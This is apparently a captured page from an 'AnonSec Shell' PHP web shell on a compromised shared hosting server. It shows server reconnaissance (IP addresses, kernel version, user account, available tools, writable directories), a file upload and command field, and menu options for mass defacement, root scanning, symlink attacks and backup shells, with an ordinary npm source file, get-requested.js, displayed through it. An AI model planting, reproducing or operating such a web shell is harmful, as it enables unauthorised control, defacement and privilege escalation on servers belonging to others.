AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 3.145.81.47   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/node_modules/npm/lib/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/node_modules/npm/lib/install/get-requested.js
'use strict'
const npa = require('npm-package-arg')
const moduleName = require('../utils/module-name.js')
const packageRelativePath = require('./deps').packageRelativePath
module.exports = function (child, reqBy) {
  if (!child.requiredBy.length) return
  if (!reqBy) reqBy = child.requiredBy[0]
  const deps = reqBy.package.dependencies || {}
  const devDeps = reqBy.package.devDependencies || {}
  const optDeps = reqBy.package.optionalDependencies || {}
  const name = moduleName(child)
  const spec = deps[name] || devDeps[name] || optDeps[name]
  const where = packageRelativePath(reqBy)
  return npa.resolve(name, spec, where)
}

Anon7 - 2022
AnonSec Team